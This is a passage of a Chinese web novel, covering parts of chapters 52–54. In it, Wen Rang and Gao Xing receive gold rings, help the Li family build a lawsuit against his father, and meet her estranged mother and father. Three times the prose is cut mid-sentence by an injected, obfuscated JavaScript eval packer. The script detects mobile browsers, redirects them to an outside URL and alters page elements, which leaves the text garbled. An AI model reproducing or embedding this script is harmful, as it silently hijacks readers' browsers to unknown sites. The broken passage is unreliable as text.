“李听墨?他回国了?”温让疑惑道。 “前段时间就回来了。”王嫣说道,“怎么,他没联系你啊?他那妹妹也回来了,长得挺可爱的,这次能出来,还多亏了他们家认识医院里的人,否则怎么逃得过温霖他们的眼线。” 高幸看了温让一眼,迟疑道,“可能是之前有些误会。” “那小子人也不错,就是脑子不好使,听风就是雨,分不清正反面儿。”王嫣劝说道,“小让,你跟他也挺亲,有误会就及时解开。温霖跟华悦这些年没少坑李家的生意,李家现在反应过来了,这不也想着上诉吗?但他们是丹麦国籍,还没想好怎么处理。” “我会和他们沟通的。”温让说。 “你们都是拎得清的孩子。”王嫣说道,“等这些麻烦事儿都解决了,就好好为自己考虑下吧。” “好的奶奶。” “奶奶放宽心,有喜事儿不会忘记通知您的。”高幸笑道。 王嫣笑着叹了口气,从随身背着的布包里,拿出一个朴素的红丝绒首饰盒,“总之,你们这辈子还长得很,以后就大胆地往下走吧。” 首饰盒里,安安静静躺着两枚足金戒指,莹莹流光,纹样简约。 “可能现在很多年轻人觉得金色俗气。”王嫣拉过两人的手腕,比对了一下,“我倒觉得,俗气的从来都不是物件。” 目光在两人身上流转,带着温和笑意,“谁先戴?” “奶奶。”温让低下头,笑得相当无奈。 只见他从衣服包里也掏出一个首饰盒,“您怎么也不跟我提前知会一声儿?” 王嫣开怀大笑,“你小子,奶奶就嫌你磨蹭!” 两个戒指盒推到了高幸面前。 “小高,难题现在交到你手上啦。” 高幸还没来得及为难,温让就把自己的首饰盒往后收了一下,“阿幸,不用做选择,我的,单独再给你。” 52. 相聚 「相聚」 高幸第一次见到李听墨父母是在自己被抢劫后。 她刚换好的克朗所剩无几,因为只有旅游签证,没法去打零工挣钱,走投无路的时候,她碰到了这对华裔夫妻,就那么巧,他们以前也是江城人。 那时候的高幸怎么会想到,几个月后,他们再次见面,会是在江城的律所。 李何昀跟李怜樱特意找了开律所的老朋友咨询跨国诉讼的事宜,李听墨带着小笛在一旁玩游戏,谈话到了尾声,敲门声也响了起来。 王律以为是助理在敲门,把他们送到门口,顺口问了句,“什么事?” “有位姓温的先生来找李先生和李女士。” 李何昀和李怜樱对视一眼,“难道是温让?” 打开门一看,站在门口的果然是温让和高幸。 “李叔,李姨,冒昧前来。”温让递上手中的见面礼,“是我失礼了。” 李何昀侧过半个身子,对王律说道,“这位是被告的亲儿子,我是否需要避开?” “按道理应该如此。”王律想到江城最近闹得沸沸扬扬的案件,“但据我所知,小温先生跟他父亲已经水火不容了,我想,他过来不太可能劝和。” 李怜樱笑着接过礼物,交到身旁的李听墨手上,“我们这一大家子回国没告诉你们,也是怕你们为难。” 在场的人只有小笛不管不顾,一个劲冲高幸眨眼。 高幸接收到她的信号,悄悄用手比了个爱心。 “嘿嘿。”小笛不由得傻笑出声。 “我这次过来是想给二位提供更多的证据。”温让说,“之前的那些,恐怕不够吧?” 李何昀转念一想,瞬间反应过来,“那封匿名的邮件是你发的?” “没错。” 温让知道温霖他们要去哥本哈根找他,所以在那之前就给李何昀发了邮件,告知他们近两年公司业务出问题的背后原因其实是温霖在搞鬼。 李怜樱跟华悦是同学,关系向来不错,李何昀也见过温霖很多次,他们回国探亲经常住温家别墅,温霖给他的印象是个精明儒雅的商人,怎么也跟背后耍手段的“小人”沾不上边,所以他们从来没怀疑过温家,还跟温家保持多年的生意往来。 做外贸的人需要有国内的人脉资源,李何昀信得过温霖,自然少了许多戒备。 但是他这两年生意总是出纰漏,中间商一而再再而三地爽约导致产品无法顺利交到客户手中,李怜樱察觉到不对劲,所以两人这次出差了很长一段时间去跟中间商沟通。 谁曾想到,问题根本没出在中间商,而出在一直给他们提供资金和资源协助的温家。 可笑的是,当李何昀保留着最后一丝希望去探温霖的口风,温霖表面上还和他哥俩好,聊着下一个项目要给他七成利,多么诱人的条件,多么大方的朋友。 饭局快结束,李何昀当了次小人,趁着敬酒,把温霖夸得云里雾里之际,他把窃听器丢进了温霖的西装口袋。 于是他得以听见温霖在背后是如何贬低他这个“好哥们”的。 -李何昀这人没什么出息的,胆子小,在中国都混不明白,还跑到丹麦去,真以为丹麦人把他这个外来移民多当回事儿呢?还在我面前摆上谱了,有我十分之一的家产吗?他儿子也没出息,还有他那小女儿,嘴巴难看死了。 华悦问他:为什么还要继续跟李家合作? -因为他们夫妻俩蠢啊,这个世界上最好挣的就是蠢人的钱,给他俩一成利就笑掉大牙了,大头不就都给我们挣了?不听话就给他们搞点岔子出来,到时候还不跪着求我们别把资金链断了? 李何昀从来没觉得人生这么荒唐过。 骂他也就算了,还骂他放在心口疼爱的宝贝女儿。他和李怜樱的个性都不强势,如果不是温霖做得太过分,他们也没想着要回国提起上诉。 回来后,他们大概听说了温让和温霖的事,但自己的事都还没理清楚,也没心思去打听温家的“内乱”。 起初他们以为温家内部的事没那么严重,温霖对温让虽然严格,但毕竟是亲儿子,不至于闹得你死我活的地步,直到今天,温让把温霖这些年进行不正当商业竞争的证据都交给了他们,直到温让和高幸离开后,李听墨用有史以来最沉重的语气诉说温让幼时的遭遇,他们才恍然大悟,原来这盘棋已经到了收尾的阶段。 李何昀看着王律办公桌上那一叠资料,沉默了半晌。 “昀哥还有什么顾虑?”王律问道。 李何昀苦笑着摇摇头,“我只是觉得刚才小让一来,我还怀疑他,有点过意不去。” 李怜樱安慰地拍拍他的肩膀,“你也是被温家搞怕了,这个反应倒也正常。” “可是小让一直都很善良,不是吗?他对听墨也很好,说起来,听墨的名字都是善叔和王姨给取的,还希望他能够长成像小让那样知书达理,肚子里有墨水的人,想不到全往反方向长去了。” 李怜樱笑他,“你把听墨支走,就为了说他坏话啊。” “嗐,他们哥俩也该聚聚。” “昀哥,你说小让和小高又是什么时候在一起的?” “那谁知道。” “礼金准备一笔大的吧。”李怜樱意味深长地说道,“小让帮了我们大忙,小高也把小笛照顾得很好。” “礼金?”李何昀后知后觉,“他俩刚才发请帖了?!” 李怜樱为他的迟钝感到无语,“金戒指都戴上了!你眼瞎啊。” 李听墨的眼神时不时就落到两人紧牵的手上,“我说,你俩这戒指能收着点儿不?闪到我了。” 不说还好,这一说,高幸立马举着和温让十指交扣的手,举到李听墨眼前,晃了晃,“就闪你,咋了?” 李听墨狠狠闭上眼,“够了,我说够了。” 小笛在旁边乐得哈哈大笑,“温让哥哥和小高姐姐的戒指真漂亮!” “小笛有眼光!”高幸笑道。 四个人又在街头游荡,好似回到了在哥本哈根的那些日子。只不过身旁没有了那些欧式建筑,穿梭在街道的私人自行车变成了蓝绿相间的共享单车。 “你们什么时候回丹麦?”温让问道。 “怎么?一开口就是赶我走啊?” 小笛撅着嘴,不高兴地扯扯李听墨的胳膊,“哥哥,你答应妈妈要好生说话的。” “知道了。” “这段时间住的哪儿?”温让又问。 “酒店,你们呢?” “南城租的公寓。” “决定定居到南城了?” “目前的计划是这样。” “行,挺好的。” 路过一家饰品店,高幸停下来,“小笛,要不要进去逛逛?” “好哇!我喜欢闪闪的东西。” “尽管挑,姐姐给你买。” 李听墨厚脸皮地凑上去,“姐姐,也可以给我买吗?” 温让笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303853|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眯眯地勾住他的脖子,“姐姐自然不可以,姐夫可以。” “?” 李听墨被锁喉,支支吾吾出不了声,“恨、你……” “这个好看。”温让二话不说,往他头上别了几个闪亮的草莓发卡,“送你了,不用谢。” “啊啊啊你住手。” 高幸拉着小笛进去大采购,饰品店不只卖首饰,还有很多玩偶、围巾、帽子之类的,两人挑得不亦乐乎。 小笛选了个可爱的猫咪花纹口罩,问道,“姐姐,我戴这个去上学,应该不会有人说我丑了吧?” “小朋友长得这么乖,不戴口罩也好看。”跟在她俩一旁的导购用英文说道。 小笛微微瞪圆了双眼,“真的吗?” “真的。” 路过的几个听得懂英文的年轻人也凑过来夸她,“你很可爱呀,说你丑的人都是坏人。不用理他们。” “小朋友一定要自信!” 还有个跟小笛年龄差不多大的小女孩大喊了一声,“Youaresocute!!!” 高幸歪头看着小笛,什么也没说,温柔地笑着。 小笛转过头,温让跟李听墨也停止了打闹,朝她竖起了大拇指。 “这里的人,真好。”小笛低下头,不想让他们看见自己悄然红掉的眼角。 高幸蹲下来,给她别上一个四叶草钻石胸针,“哪儿都有不好的人,不过姐姐也帮小笛祈祷,以后不会再遇见坏人。” “姐姐也是,还有哥哥们。” 李听墨靠近温让耳边,小心翼翼说道,“小孩真可爱,你俩以后要是有了小孩,可以给我玩玩吗?” 温让弯弯眼睛,“玩?” “额……哥你冷静。” 下一秒,李听墨带着满头的蝴蝶结发卡一脸生无可恋,被温让拉着去结账了。 “这些全要了。”温让说。 “支付宝还是微信?” 温让看着李听墨,“你用哪个?” “?我给?” “不然呢?” 被坑了一笔钱就算了,出了店门,温让还不许李听墨摘发卡。 “我真错了,哥。” “还玩儿吗?” “不玩儿了。” “玩儿什么?”高幸憋笑着问道,“李听墨你干嘛又惹我们温让。” “没什么,不敢再惹了,现在的温让已经是钮钴禄·温让了。” “你怎么连这个梗都知道?” “我妈爱看宫斗剧……” “sunset!”小笛忽然指着远方大喊一声。 “时间真快,又是一天过去了。”李听墨感叹道,“也不知道还能在这座城市再看几次日落。” “以后常回来就是。”温让说道,“这里随时欢迎你。” “或者你也可以去南城,等我和温让把房子定下来,你跟小笛就不用住酒店了。”高幸说。 “你俩这话说得,我可不会跟你们客气。”话虽这么说,眼前平静的并不壮观的日落却让他莫名眼酸,“等我毕业,一定回国狠狠敲你们一笔。” “我们等着。” “那就祝你顺利毕业。” 小笛没听懂他们在说什么,自顾自地跟日落挥手,边跳边冲身后的哥哥姐姐们喊,“Happyeveryday!” 回应她的是同样坚定的三道重合的声线—— “Happyeveryday!” 53. 母亲 「母亲」 温霖违法用工致死并栽赃他人顶罪一案的一审判决下来那天,温让正开车独自前往高幸的老家,一个距离江城不远的小县城。 平时家里的事,他都会问过高幸的意见,但这次,他是瞒着高幸悄悄来的。 高幸最近很忙,李听墨他们还得在中国呆将近一个月,小笛又喜欢黏着高幸,走哪儿都跟着她,高幸一有时间就会带她出去玩,现在在她的生活里,温让都得往后排了。 这倒也给温让腾出了一些时间。 高幸很少聊自己家里的事,对他俩来说,原生家庭都是可以忽略不计的。 但既然想娶人家的女儿,诚意自然少不了。 他跟高幸提过一次想去见见她的父母,但高幸拒绝了,只说她还没准备好,温让向来尊重她的想法,如果不是有几次夜里,他装作熟睡后悄悄起床,撞见高幸一个人缩在沙发角落哭,如果不是他用高幸手机帮她打游戏的时候无意间看到她母亲发来的消息,恐怕他还下不了这样的决定。 高幸和他不一样,他的父母对他从来没有过真正的爱,只有索取、控制和利用,他对温家没什么留恋,说断就能断。 但高幸的父母是爱她的,只是和很多东亚父母一样,爱得有些畸形,有些过激,他们的爱让她痛苦,又不知道如何抽离。 所以他想先去一趟高幸成长的地方,追根溯源。 车辆行驶近90公里,导航显示已到达目的地。 面前这栋居民楼是高幸小学住过的地方,自从她上大学,父母离婚后,这里面原本属于他们一家人的那间房就出租给了别人。 上个月租期到了,租户没有选择续租,现在房子还空着。 温让以想要租房子为借口,约见了高幸的母亲,何柔。距离两人约定的时间还有半个钟头,温让提着礼品在附近逛了一圈。 他和高幸睡觉前经常聊天,偶尔会聊到小时候,他记得高幸说过在她家门外有一排高大的槐树,上小学,每当她清早出门,背着小书包路过这排树,就会跟它们打招呼,在心里和它们对话。 那会儿,小小的高幸觉得万物都有灵气,刮风下雨,她也会关心树木会不会受冻。 现在,门外的槐树没了,对面又建了一栋高楼,在这老旧的居民区显得格格不入。 高幸常去买的便利店换了老板,装潢比以前更精致,货品更齐全,但是她最爱吃的两元钱的牛奶雪糕也被昂贵的进口货给替代,怎么都找不到了。 湿冷的风吹红了温让拎礼品袋的手,他在小巷中穿梭,寻找高幸的幼时记忆,干枯的树叶落下,他伸手去接,忽然想着二十年前,那个童真的小女孩会不会也有相同的举动。 或许他们在不同的时空,接住了同一片落叶。 何柔的电话打了进来,她的声音很温柔,一点也不像总是对高幸咄咄逼人的妇人。 得知何柔已经到了,温让加快步伐往回走,遥遥看见一个身穿红色大衣,身材微胖,烫着羊毛小卷发的时尚女性,温让小跑过去,叫了声何阿姨好。 “小温是吧。”何柔原本只当他是普通租客,没想到他长这么俊朗,眼睛一下子亮了,“这么年轻呢。” “我二十七了。” “跟我家闺女差不多,你在这边工作?”何柔领着他上楼,“我这房子不知道你们年轻人住不住得惯,比较旧,还有些潮湿。” 温让在等一个开口解释的时机,但何柔的话太密了,连着问了一大串,在哪儿工作,是不是江城人,有没有女朋友,什么都问出来了。 走到家门口,何柔正掏钥匙开门,就在她进屋后招呼温让时,温让深吸一口气,双手捧着礼品盒送到何柔面前,说道,“何阿姨好,我叫温让,我是高幸的男朋友。” 何柔的笑容僵在脸上,好半晌没反应过来。 “我今年二十七岁,江城本地人,在南城大学念博士,目前存款七位数,最迟下个月就会把房子买下来,我和阿幸认识十五年了,我们……很相爱。”温让一口气把打好的腹稿都说了出来,“我正在努力给她一个安定的未来,请阿姨放心。” 对面邻居的门开了,似乎有人要出来。 “你先进来再说,没鞋套,不用换鞋了。”何柔说道。 “好。” “东西就放地下吧。” 温让乖乖照做。 屋子里光线很暗,透着淡淡的潮味,并不好闻,家具也都是二十年前的,破损痕迹严重,怎么看都不是一个富裕的家庭。 两人在沙发两端坐下,“我家的情况,高幸给你说了吗?” “知道一些。” “你姓温,我不知道是不是江城那个特别有钱的温家,但我们家就是非常普通的家庭,我现在就开一个小店,做点生意,我跟高幸他爸早就离婚了,这些不知道你介不介意?” “阿姨,我不介意。” “嗯,那你的家里人呢?” “我的家里人现在只有我奶奶,她很喜欢阿幸。” 何柔尽量放缓了语气,“你各方面条件都很好,你说你们认识十五年了,那你们应该是中学同学?” “是的。” “高幸脾气不好,还犟得很,决定的事谁的话也不听,几个月前还自己一个人跑去国外,把我气得半死。”何柔见温让性情温和,话不由得多了起来,“她的缺点不少,但总的来说还算听话,没什么叛逆期,说实话,我都觉得她配不上你这样的。” “阿姨——” 何柔抬手制止他,“场面话就不多说了,想当年高幸她爸爸也是甜言蜜语一大堆把我骗到手的,我太清楚男人了,结果还不是见一个爱一个,没一个好的。” “我斗胆问一句,那您为何之前要让她相亲?” “她年龄到了总不能不嫁人吧?我那是运气不好碰着了她爸,那万一她运气好呢,你看这不就遇上你了?”何柔打量着温让,浑身上下倒没什么名牌,眉眼舒展,帅得很正经,不像是会在外面拈花惹草的,“我不求高幸能嫁一个多富裕的家庭,我只希望她别走我的老路,我们家那档子破事我也不想多说。” “我明白。” “为什么这次只有你回来?她人呢?”何柔突然发问,“她是不是还跟我闹别扭?” “她最近太忙了,我就先回来看看您。” “哦,忙点好,多挣些钱,她还在之前的公司吧?” 高幸说得不假,她的确很少跟家里人交流。 “换了工作了。”温让说。 “身体怎么样?之前她跟我闹的时候还说自己得抑郁症了,这年头的小孩儿就爱拿抑郁症说事,我当年遇到那么多麻烦怎么没说抑郁?真是的。” 温让放在膝盖上的手指稍稍收紧,心里一阵酸疼,“身体……挺好的。” 何柔掏出手机,点开和高幸的聊天框,“你看啊,我每次给她发消息,关心她的身体,她就回一俩字,好的,行,好,没事,全都在敷衍我,怎么没见她关心关心我?” “阿幸还是很关心您的,她不总给您寄东西发红包吗?” “我也不缺那些。” “那您缺什么?可以给我们说。” “我就缺陪伴。”何柔叹了口气,“但是高幸总是对我谈的对象有意见,她也不想想,我这岁数,能谈到什么好的?” 温让记得高幸给他说过,何柔到现在换了四个对象,其中有三个都图她那点养老金,现在这个倒是没看出来图什么,但跟何柔一样脾气差,高幸每次回家,他俩都在家大吵大闹,大过年的也吵,跟小时候经历的场景一样,久而久之,她就不愿意回来了。 闹得最严重的一次,是何柔要带着高幸一次面都没见过的对象去高幸租的房子里住,被高幸以“独居女子的住宅不适合让陌生异性留宿”的理由拒绝了,何柔骂高幸“穷讲究”,不懂得尊重长辈,还抨击了高幸的安全意识,说她尽防备一些不该防的人。 那次闹过,高幸的病情就加重了,还有了自残倾向。 “但是阿姨,谈一些不好的人,难道不会更影响您的心情吗?” “图个伴儿就行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308762|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温让发现何柔是个自相矛盾的人,一边痛恨男人带给她的背叛,一边又需要把男人当作精神寄托,一边关心女儿的身体,一边又不在乎她的安全。 以他的立场,实在没法多说什么。 “之前高幸跟我说,相亲对象都嫌弃她单亲家庭,觉得她性格有些怪,其实我也觉得她脾气古怪,你跟她相处得怎么样?”何柔问道。 “哪样算古怪?” “很多想法都不切实际。”何柔想了想,说道,“比如,她以前总说要找一个一辈子只爱她一个人的,这不就是不切实际?而且还不听劝,我跟她舅舅都说找个条件合适的就行了,她说,如果七十岁遇到那个对的人就七十岁再结婚。” 何柔大概觉得荒唐,直接笑出了声,“二十多岁的人了,跟小女孩一样天真。” “如果这算‘古怪’的话,那‘古怪’真是个可贵的品质。”温让说道。 何柔微微一愣。 “因为,我跟阿幸一样‘古怪’。” 沉默了好一会儿,何柔才无可奈何地开口,“所以你们能相爱。” “是的。” “你很懂她。” “我也不敢保证自己很懂阿幸,但我会继续努力。” “我只有初中文凭,不像你们,都是念过大学的,你还是博士,这对我们这代人来说,简直不敢想象。”何柔苦笑道,“高幸很多观念,我都不理解,这就是你们说的代沟吧。” “可能每代人都有自己的生活理念吧,阿姨,不管怎样,阿幸是真的希望您能过得开心、幸福,但她不太会把对您的爱挂在嘴边。” “她从小就不黏人,跟别的小孩不一样。” “她黏人的。”温让笃定地说。 “是吗……” “她只是知道您被婚姻已经消耗得太辛苦,所以,不想再麻烦您了。” “麻烦?她是我女儿,说什么麻烦不麻烦?” “因为她会愧疚。”温让想到那些夜里,高幸独自淌过的泪,想到她在看见何柔发来的毫无顾忌的脏话时通红的眼角,心里的话就忍不住想倾泄出来,“当您每次质问她,为什么不管好她爸爸,就加重了她对您的愧疚,虽然——” “虽然她到现在都不知道在您和高叔叔这失败的婚姻里,做错了什么。” “那难道是我错了?”何柔反问道。 “抱歉阿姨……” “这些话都是她让你说的?” “不是,阿姨。”温让连忙否认,“阿幸从来没说过这些。” “算了,这也不重要了,都是些陈年旧事。” 于是两人又陷入沉默。 客厅那个已经不准的时钟还在滴答滴答地走。 何柔忽然从掉了皮的钱包里拿出一张信用社的卡,“你把这个给高幸,密码她知道。” “阿姨……这个还是您亲手给。” “我给她不会要。”何柔说,“我没别的本事,这些年存下来的钱,本来就准备给她当嫁妆。” “小温,虽然我们家没啥钱,也没背景,但该给我女儿的底气,一分都不会少。”何柔说到后面,声音有些哽咽,“你答应我,一辈子都不许欺负她。” 何柔是一个母亲,一个没什么文化也不懂得怎么教育自己唯一的女儿的母亲,一个遇到烦心事只能拿女儿当发泄对象的母亲,女儿是她生养的,是她的“所有物”,是她在这个世界上血缘最深的人。她怨过高幸,但其实真正怨的是和她一同生下高幸的那个男人。 她也不知道自己是从哪一秒开窍的,或许就在温让说高幸黏人的时候,何柔脑袋里崩了几十年的弦突然断了,她意识到,在最需要被人抱着哄着的年纪,高幸不哭也不闹,绝望地见证着,经历着一个幸福家庭的分崩离析。 而可悲的是,何柔也曾是高幸。 她重蹈了父母那辈的覆辙,未曾回想当年幼小的自己发出的呐喊。 同一命运的车轮循环往复,碾过一代又一代人的躯壳。 终于在高幸这一代,终止了。 54. 父亲 「父亲」 温让最终还是没有收那张银行卡,他答应何柔找机会带高幸回老家。 为了不让高幸起疑心,他委婉拒绝了何柔的晚饭邀请,在晚上八点前抵达公寓,原以为这个时间点高幸应该在陪小笛玩,结果推开家门,客厅的落地灯亮着,沙发上隆起一小团。 她今天化了妆,兴许太累了,衣服没换,妆也没卸,就这样蜷缩在沙发上,睡得正香。 温让换上拖鞋,挂好外套,轻手轻脚走过去,把掉在地毯上的薄被捡起来,给高幸盖好。 暖气调到26度,设置成睡眠模式。温让到洗漱间找到了高幸的卸妆油和棉柔巾,按照她平常的手法,把浸满卸妆油的棉柔巾轻轻地覆盖在她的脸上,一点一点擦拭,生怕吵醒她。 眼皮上的彩妆,眼角的线条,睫毛上挂着的黑色膏体都溶解在卸妆油中,温让用温热的洗脸巾抹去她脸上残余的妆容痕迹,皮肤又回归本来的清透细腻。 他靠在沙发边缘,安静地注视着离他不过十几厘米的女子,轻轻浅浅的呼吸还带有她今天喷的香水味。 恋爱其实也没谈多久,但高幸的改变,他是看在眼里的。从一开始的过于独立,慢慢的,愿意接受他的帮助,愿意撒娇,也愿意被他照顾。 他们依靠着彼此,又在各自的道路上分头前进,一切都在好转。 “温让……” 一声低而轻柔的呢喃拉回了男人的神智。 “疼……” “怎么了?哪儿疼?”温让也不知道她说的是梦话还是真的受了伤,探身过去。 “心口疼,你帮我揉揉。”女子闭着眼,嗓音却越来越清晰。 温让反应过来,正要打趣她,却被猛地勾住脖子,手肘撑着沙发,才不至于倒在高幸身上。 “装睡也学会了?” “跟你学的。” 音落,柔软温热的唇贴了过来,缓缓含住他的。 这些天高幸太忙,每天洗漱后躺床上,聊不到几句就睡着了,两人有些时日没有亲热,温让几乎是瞬间就起了反应,额头上的青筋直跳。 高幸动了动身子,被男人按住,压抑着情/欲问她,“今天不累吗?” “睡了一觉,现在很有精神,倒是你,还行吗?” “你试试就知道了。” 说完,温让笑着吻过去,摸到她身后紧贴着肌肤的暗扣,单手解开。 于是这一试,又是半夜过去。 都说男人在床上最好说话,到了他俩这儿,得反过来。 每次温让有事“相求”,都会习惯性把高幸“伺候”舒坦了再开口。 比如此时此刻,高幸餍足地窝在他怀里,嘴里还哼唱着陌生的小调,温让嗅着她发间的清香,想了很久,才把今天跟何柔见面的事说了出来。 高幸并没有太激烈的反应,“其实我猜到你今天可能会去做一些和我有关的事。” “你会怪我吗?毕竟你之前说过,还不是见你父母的最佳时机。” “不会。”高幸说,“我觉得你比我有分寸,其实不存在什么最佳时机,是我单纯地在逃避,不想面对,也不想解决。” “阿幸,你只是不知道该怎么解决。”温让轻拍她的背,“没关系,我们一步一步来。” 他把今天何柔说的话原封不动转述了一遍,高幸没有说话,但他知道,她一定也很难过。 “有时候,我倒希望她恨我。” 但偏偏何柔爱她,于是她更痛苦,更想要逃避。 “下次回家的时候,我们也去见见你父亲吧。” 高幸迟疑了一会儿,“我二十岁后就没再见过他了。” 两人的最后一次见面,是高幸二十岁生日那天,高城来到她所在的城市,请她吃了顿饭。 自从高城搬离他们家,父女俩就很少交流了,那一次,高幸似乎也预料到以后见面次数会越来越少,一股脑说了很多很多话。 聊到她精彩的大学生活,聊到高中的遗憾,聊到她最近读过的书,聊到她作为一个步入二字开头的女大学生对生活的粗浅见解,也聊到对未来的打算。 高城一个劲地夸她想法成熟,书没白读。他不知道,其实高幸最不希望别人夸她“成熟”,超越年龄的成熟需要牺牲同龄该有的烂漫天真来换取。 本科毕业进入一家公司实习,面试官在和她聊完后,也说她有着比同期应届生更成熟的见解,她很好奇,高幸是怎么做到的。 高幸当时笑着回答,“如果在你最无助的时候没人帮你,就会很快成熟起来。” 所以她得感谢何柔和高城,让她被迫飞速成长,过早成为一个独立的、连句撒娇话都不会说的大人,然而这个为自己筑起铜墙铁壁的大人,却经常在无人之处,变回当年那个无助的小孩。 无论她读过多少书,走过多少路,她也永远拥抱不了当年躲在洗手间,捂着嘴不让哭声泄露出来的自己。 “乖乖。” 温让忽然捧起她的脸,捏了捏,“不开心了?” 高幸往他的肩窝蹭了蹭,“有点儿。” “不想去就不去了,你的感受最重要。” “我……”高幸沉下心来想了想,“我要联系他吗?我跟他每年只会在微信发两句话,新年快乐和生日快乐。” “只要你想去见,那这件事就交给我。” “可是——” “可是”被一个强势又温柔的吻堵了回去。 · 快七年过去,高幸终于又见到了自己的父亲,在看到高城那一眼,高幸几乎要涌出泪水。 七年前,高城有这么多的白发吗?身形像现在这样瘦削吗?脸颊凹进去了吗?皮肤松垮吗?眼睛也这么没有光彩吗? 明明那是个容易程度仅次于“妈”的音节,嘴唇嗫嚅半天,还是什么音节都没发出来。 “高幸啊。”最终还是高城先开口。 他应该是抽了很多烟,嗓子像被烟熏透了一般哑。 小学二年级,高幸得了严重的过敏性鼻炎,不能闻到烟味,老烟枪高城为此把自己的烟和打火机都丢掉了,戒烟到了最痛苦的阶段,为了高幸,他也咬牙撑下来了,没再抽过。 因为这事,何柔便知道,高幸是高城的软肋,只要高幸去劝他,他就会回头。 可高幸劝一次,她就会用更激烈的方式把高城推得更远。 他们的性格根本不合适,一个只会吵架,一个只会逃避,就是这样畸形的关系,居然撑到了高幸十八岁那年,要不是高幸亲自带他们去民政局办了离婚手续,恐怕到现在何柔也不会跟高城离婚。 见高幸还在发呆,温让揽住她肩膀的手稍微收紧了些,唤了声,“阿幸。” “……爸。” 高城勉强地扯了扯嘴角,他看起来像是连笑都不会了,“吃什么,你们点吧。” “高叔叔,我们吃什么都行,还是您点吧。”温让把菜单推回到高城面前。 高城打量他一眼,“小温是吧,之前电话联系过。” “是的高叔叔。” 高城点了不少菜,他不算富裕大方的人,但也从来没对高幸吝啬过。 高幸始终半垂着头,似乎还在思考措辞,话题只能暂时由温让来开展。 “高叔叔喝酒吗?” “不喝了,戒了。” 但对高城来说,温让是个“陌生人”,这个陌生人还“拐走”了自己的女儿,心里说不出什么滋味,回答也有些心不在焉。 温让倒不在意这些,为了不冷场,想足了法子,“之前给您寄的补品吃着还行吗?” “无功不受禄,在没见到你人之前,那些我都不敢吃。” 高幸皱起眉头,“爸,你说话为什么夹枪带棒的?” “阿幸……”温让不希望看到她为了维护自己,和高城的关系更加岌岌可危。 “不好意思小温。”高城端起茶杯,“以茶代酒,赔个罪。” 温让连忙跟着举杯,“叔叔,第一杯该我敬您。” “你是高幸选择的人,我应该相信才对。”嘴上这么说,但看向温让的眼神却并不友善。 饭馆人不多,上菜很快,尴尬的场面总算可以靠吃饭缓解。 温让忙着给两人夹菜,自己都没吃几口。 高幸不吃香菜,他会小心翼翼地挑走所有香菜末,她不爱吃甜食,但又喜欢糖醋鱼,于是温让提前找服务员备好了涮菜的白水。 这些都是情侣之间的正常举动,高城没觉得有什么大不了的。 “你们有结婚的打算?” “是的,婚房快定下来了。”高幸抢先一步回答。 “这么大的事,现在才和我商量?你妈那边怎么说?” “她没意见。” “你俩才恋爱多久?时间会不会太短了?” 高幸想解释,话到嘴边,又咽了回去。 “年轻人做事不要那么急,婚姻是大事。”高城见高幸完全不为所动,有些急切地劝道,“爸爸也是在为你着想,小温不是还在念书吗?至少等他毕业,工作稳定下来再说。” “高叔叔说得有道理。”温让说,“具体的婚期,我和阿幸会商量着来的,您放心吧。” 高城不说话了,闷头吃菜。 温让察觉到情况不妙,但高幸扒饭的速度太快,他来不及劝,当她放下碗起身那刻,高城比温让先一步叫住她。 “高幸,这么多年难得吃一顿饭,你就这副样子吗?” “我去趟洗手间。”高幸的嗓音带着细微的哭腔。 高城端着碗,愣住好一会儿。 “这孩子……还是这么要强。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314230|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如果她脆弱,您会保护她吗?” “什么?” 温让放下碗筷,“您是不是很少看见高幸哭?” 高城沉默了。 “她从小到大只敢躲在卫生间哭,您知道吗?” “你们这次来,是质问我的吗?” “高叔叔,从头到尾,都是您在质问高幸。过来的路上,她还念叨着要和你说说这些年的所见所闻,想让您看到她的改变,想让您尊重她的决定,她也想知道这些年您过得怎么样,身体好不好,但是您似乎,并没给她这个机会。”温让沉声道,“您只是自顾自地认为,她越过您为自己的婚姻做主,挑战了您作为父亲的权威。” “我没有这个意思。”高城眉头紧锁着,狠狠咳嗽了几声,接着说道,“这些年她从来没说过自己感情上的事,突然就恋爱了,突然就结婚了,我怀疑也很正常吧。” “是,您说的对,您可以随便怀疑我,也可以质问我,我不在乎,您是高幸的父亲,我愿意接受您的全部审视,但等她回来,我希望您能问问她,最近过得开不开心。” 高城没应,也没拒绝,灌了一杯又一杯茶水。 高幸是红着眼睛回来的,情绪明显收敛了很多,浅浅一笑,“你们接着吃吧,我差不多了。” “高幸,你……”高城欲言又止,话在嘴边来来回回滚了好几趟,“你……工作怎么样?” “还行,你呢?” 